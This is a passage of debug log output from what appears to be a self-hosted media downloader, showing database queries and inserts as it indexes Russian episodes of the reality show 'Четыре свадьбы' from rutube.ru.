= 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [60] 14:35:55.523 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "4 невесты ждут свои свадьбы и свадьбы соперниц. Эмилия из Казани устроит блогерскую вечеринку. У Александры из Петрозаводска будет молодёжная свадьба. Камила из Омска пригласит участниц на классическую свадьбу с казахским колоритом. А Яна из Кулебак пообещала показать на своём мероприятии традиции на новый лад. Какие сюрпризы подготовили невесты, увидим в программе «Четыре свадьбы».", "duration" => 6338, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e030700 - Блогерская свадьба VS Молодежная свадьба.mp4", "id" => "734531dfbc4d9c0fe874737e05da321a", "original_url" => "https://rutube.ru/video/734531dfbc4d9c0fe874737e05da321a/", "playlist_index" => 68, "timestamp" => 1709844013, "title" => "Блогерская свадьба VS Молодежная свадьба", "upload_date" => "20240307"} 14:35:55.526 [debug] QUERY OK source="sources" db=1.1ms idle=41.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:55.529 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=20.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:55.532 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=18.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-07 20:40:13Z], 1] 14:35:55.563 [debug] QUERY OK source="media_items" db=30.1ms idle=20.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты ждут свои свадьбы и свадьбы соперниц. Эмилия из Казани устроит блогерскую вечеринку. У Александры из Петрозаводска будет молодёжная свадьба. Камила из Омска пригласит участниц на классическую свадьбу с казахским колоритом. А Яна из Кулебак пообещала показать на своём мероприятии традиции на новый лад. Какие сюрпризы подготовили невесты, увидим в программе «Четыре свадьбы».", "Блогерская свадьба VS Молодежная свадьба", "eb898b9d-39cc-4556-9989-de0973156359", "734531dfbc4d9c0fe874737e05da321a", 6338, false, "https://rutube.ru/video/734531dfbc4d9c0fe874737e05da321a/", 68, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e030700 - Блогерская свадьба VS Молодежная свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-03-07 20:40:13Z], ~U[2025-12-09 11:35:55Z], ~U[2025-12-09 11:35:55Z], "4 невесты ждут свои свадьбы и свадьбы соперниц. Эмилия из Казани устроит блогерскую вечеринку. У Александры из Петрозаводска будет молодёжная свадьба. Камила из Омска пригласит участниц на классическую свадьбу с казахским колоритом. А Яна из Кулебак пообещала показать на своём мероприятии традиции на новый лад. Какие сюрпризы подготовили невесты, увидим в программе «Четыре свадьбы».", "Блогерская свадьба VS Молодежная свадьба", "734531dfbc4d9c0fe874737e05da321a", 6338, false, "https://rutube.ru/video/734531dfbc4d9c0fe874737e05da321a/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e030700 - Блогерская свадьба VS Молодежная свадьба.mp4", false, 1, ~U[2024-03-07 20:40:13Z]] 14:35:55.568 [debug] QUERY OK source="sources" db=3.9ms queue=0.1ms idle=41.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:55.572 [debug] QUERY OK source="media_profiles" db=3.0ms queue=0.1ms idle=42.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:55.582 [debug] QUERY OK source="media_items" db=6.0ms queue=1.2ms idle=45.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [61] 14:35:55.583 [debug] Current batch of media processed. Will check again in 1000ms 14:35:56.585 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Какими будут новые 4 свадьбы? Фишкой свадьбы Марии из Оренбурга станет шоу от шеф-повара. Анастасия из Москвы устроит «пати в белом». На свадьбе Марины из Твери гостей будут развлекать огненным шоу. А свадьба Марины из Санкт-Петербурга отличится церемонией вручения наград. Все мероприятия покажет программа «Четыре свадьбы».", "duration" => 6144, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e031400 - Свадьба в стиле рустик VS Свадьба в стиле Оскар.mp4", "id" => "729904945a5263c4f16283275bcc59e3", "original_url" => "https://rutube.ru/video/729904945a5263c4f16283275bcc59e3/", "playlist_index" => 69, "timestamp" => 1710433226, "title" => "Свадьба в стиле рустик VS Свадьба в стиле Оскар", "upload_date" => "20240314"} 14:35:56.587 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=1022.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:56.588 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1019.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:56.592 [debug] QUERY OK source="media_items" db=2.9ms idle=1016.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-14 16:20:26Z], 1] 14:35:56.605 [debug] QUERY OK source="media_items" db=11.4ms idle=1011.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Какими будут новые 4 свадьбы? Фишкой свадьбы Марии из Оренбурга станет шоу от шеф-повара. Анастасия из Москвы устроит «пати в белом». На свадьбе Марины из Твери гостей будут развлекать огненным шоу. А свадьба Марины из Санкт-Петербурга отличится церемонией вручения наград. Все мероприятия покажет программа «Четыре свадьбы».", "Свадьба в стиле рустик VS Свадьба в стиле Оскар", "dab483ff-1b4c-49df-9be8-b92e4ade03fb", "729904945a5263c4f16283275bcc59e3", 6144, false, "https://rutube.ru/video/729904945a5263c4f16283275bcc59e3/", 69, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e031400 - Свадьба в стиле рустик VS Свадьба в стиле Оскар.mp4", false, false, false, 1, [], 1, ~U[2024-03-14 16:20:26Z], ~U[2025-12-09 11:35:56Z], ~U[2025-12-09 11:35:56Z], "Какими будут новые 4 свадьбы? Фишкой свадьбы Марии из Оренбурга станет шоу от шеф-повара. Анастасия из Москвы устроит «пати в белом». На свадьбе Марины из Твери гостей будут развлекать огненным шоу. А свадьба Марины из Санкт-Петербурга отличится церемонией вручения наград. Все мероприятия покажет программа «Четыре свадьбы».", "Свадьба в стиле рустик VS Свадьба в стиле Оскар", "729904945a5263c4f16283275bcc59e3", 6144, false, "https://rutube.ru/video/729904945a5263c4f16283275bcc59e3/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e031400 - Свадьба в стиле рустик VS Свадьба в стиле Оскар.mp4", false, 1, ~U[2024-03-14 16:20:26Z]] 14:35:56.623 [debug] QUERY OK source="sources" db=17.3ms queue=0.1ms idle=320.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:56.625 [debug] QUERY OK source="media_profiles" db=1.3ms queue=0.1ms idle=36.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:56.627 [debug] QUERY OK source="media_items" db=1.8ms idle=36.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [63] 14:35:56.628 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Участницы приглашают на свои свадьбы. Фишкой свадьбы Карины из Саратова станет обряд снятия фаты. У Марины из Магнитогорска мероприятие пройдёт в немецком стиле. Татьяна из Санкт-Петербурга будет удивлять гостей коктейльным казино. А Люба из Москвы выберет для своей свадьбы оформление в красно-белых тонах. Кто победит в этом состязании невест, покажет программа «Четыре свадьбы».", "duration" => 6563, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e032100 - Современная классика VS Творческая свадьба.mp4", "id" => "03b6e9a2793f4115fef16fc51568690f", "original_url" => "https://rutube.ru/video/03b6e9a2793f4115fef16fc51568690f/", "playlist_index" => 70, "timestamp" => 1711041015, "title" => "Современная классика VS Творческая свадьба", "upload_date" => "20240321"} 14:35:56.631 [debug] QUERY OK source="sources" db=2.1ms queue=0.1ms idle=36.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:56.633 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=26.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:56.635 [debug] QUERY OK source="media_items" db=1.3ms queue=0.2ms idle=10.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-21 17:10:15Z], 1] 14:35:56.653 [debug] QUERY OK source="media_items" db=16.7ms idle=11.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы приглашают на свои свадьбы. Фишкой свадьбы Карины из Саратова станет обряд снятия фаты. У Марины из Магнитогорска мероприятие пройдёт в немецком стиле. Татьяна из Санкт-Петербурга будет удивлять гостей коктейльным казино. А Люба из Москвы выберет для своей свадьбы оформление в красно-белых тонах. Кто победит в этом состязании невест, покажет программа «Четыре свадьбы».", "Современная классика VS Творческая свадьба", "4a64aef1-8fbf-49dc-bbbe-28e4cda8f9cb", "03b6e9a2793f4115fef16fc51568690f", 6563, false, "https://rutube.ru/video/03b6e9a2793f4115fef16fc51568690f/", 70, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e032100 - Современная классика VS Творческая свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-03-21 17:10:15Z], ~U[2025-12-09 11:35:56Z], ~U[2025-12-09 11:35:56Z], "Участницы приглашают на свои свадьбы. Фишкой свадьбы Карины из Саратова станет обряд снятия фаты. У Марины из Магнитогорска мероприятие пройдёт в немецком стиле. Татьяна из Санкт-Петербурга будет удивлять гостей коктейльным казино. А Люба из Москвы выберет для своей свадьбы оформление в красно-белых тонах. Кто победит в этом состязании невест, покажет программа «Четыре свадьбы».", "Современная классика VS Творческая свадьба", "03b6e9a2793f4115fef16fc51568690f", 6563, false, "https://rutube.ru/video/03b6e9a2793f4115fef16fc51568690f/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e032100 - Современная классика VS Творческая свадьба.mp4", false, 1, ~U[2024-03-21 17:10:15Z]] 14:35:56.668 [debug] QUERY OK source="sources" db=14.1ms queue=0.1ms idle=26.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:56.669 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=37.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:56.671 [debug] QUERY OK source="media_items" db=1.3ms idle=36.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [64] 14:35:56.671 [debug] Current batch of media processed. Will check again in 1000ms 14:35:57.672 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Свадебное противостояние начинается! Фишкой классической свадьбы Екатерины из Энгельса станет торт-котик. В Сочи Любовь устроит эльфийскую свадьбу. У Виктории из Астрахани будет свадьба в чёрно-белых тонах. А в Волгограде пройдёт традиционная свадьба Александры с живой музыкой. Смотрите программу «Четыре свадьбы».", "duration" => 5819, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e032800 - Эльфийская свадьба VS Черно-белая свадьба.mp4", "id" => "068d4acef976c9cb6107b4acb2326a47", "original_url" => "https://rutube.ru/video/068d4acef976c9cb6107b4acb2326a47/", "playlist_index" => 71, "timestamp" => 1711647019, "title" => "Эльфийская свадьба VS Черно-белая свадьба", "upload_date" => "20240328"} 14:35:57.674 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1019.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:57.676 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1006.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:57.677 [debug] QUERY OK source="media_items" db=1.0ms idle=1006.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-28 17:30:19Z], 1] 14:35:57.709 [debug] QUERY OK source="media_items" db=30.6ms idle=1006.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадебное противостояние начинается! Фишкой классической свадьбы Екатерины из Энгельса станет торт-котик. В Сочи Любовь устроит эльфийскую свадьбу. У Виктории из Астрахани будет свадьба в чёрно-белых тонах. А в Волгограде пройдёт традиционная свадьба Александры с живой музыкой. Смотрите программу «Четыре свадьбы».", "Эльфийская свадьба VS Черно-белая свадьба", "45416cdd-1a48-4d36-bbd7-cdb8d16bb7a5", "068d4acef976c9cb6107b4acb2326a47", 5819, false, "https://rutube.ru/video/068d4acef976c9cb6107b4acb2326a47/", 71, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e032800 - Эльфийская свадьба VS Черно-белая свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-03-28 17:30:19Z], ~U[2025-12-09 11:35:57Z], ~U[2025-12-09 11:35:57Z], "Свадебное противостояние начинается! Фишкой классической свадьбы Екатерины из Энгельса станет торт-котик. В Сочи Любовь устроит эльфийскую свадьбу. У Виктории из Астрахани будет свадьба в чёрно-белых тонах. А в Волгограде пройдёт традиционная свадьба Александры с живой музыкой. Смотрите программу «Четыре свадьбы».", "Эльфийская свадьба VS Черно-белая свадьба", "068d4acef976c9cb6107b4acb2326a47", 5819, false, "https://rutube.ru/video/068d4acef976c9cb6107b4acb2326a47/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e032800 - Эльфийская свадьба VS Черно-белая свадьба.mp4", false, 1, ~U[2024-03-28 17:30:19Z]] 14:35:57.725 [debug] QUERY OK source="sources" db=15.5ms queue=0.1ms idle=423.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:57.727 [debug] QUERY OK source="media_profiles" db=0.3ms queue=1.0ms idle=51.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:57.728 [debug] QUERY OK source="media_items" db=0.5ms idle=51.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [65] 